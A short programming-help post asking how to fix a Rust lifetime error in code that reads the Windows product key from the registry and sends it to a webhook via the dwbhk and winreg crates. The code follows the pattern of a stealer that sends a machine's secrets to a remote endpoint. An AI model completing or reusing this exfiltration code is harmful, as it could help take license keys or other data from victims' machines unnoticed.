I want to convert a function which return a String to &str
my code:
fn main() {
let req = WebhookRequestBuilder::new()
.set_data(WebhookBuilder::new()
.set_username("Webhook")
.set_avatar_url("https://i.imgur.com/lspeP0T.png")
.set_embeds(vec![
EmbedBuilder::new()
.set_title("Windows Key")
.set_color_hex("#DC143C")
.set_fields(vec![
EmbedFieldBuilder::new().set_name("Windows Key").set_value(windows_key().unwrap().trim()).set_inline(true).build()
])
.build()
])
.build()
)
.build();
req.execute_url_sync(webhook().trim());
}
pub fn windows_key() -> io::Result<String> {
let hklm = RegKey::predef(HKEY_LOCAL_MACHINE);
let key = hklm.open_subkey("SOFTWARE\\Microsoft\\windows NT\\CurrentVersion\\SoftwareProtectionPlatform")?;
let windows_key: String = key.get_value("BackupProductKeyDefault")?;
let windows_key = format!("`{}`", windows_key);
Ok(windows_key)
}
my error:
EmbedFieldBuilder::new().set_name("Windows Key").set_value(windows_key().unwrap().trim()).set_inline(true).build(),
^^^^^^^^^^^^^^^^^^^^^^ creates a temporary which is freed while still in use
the crates i used : dwbhk, winreg
So can you help me if you don't mind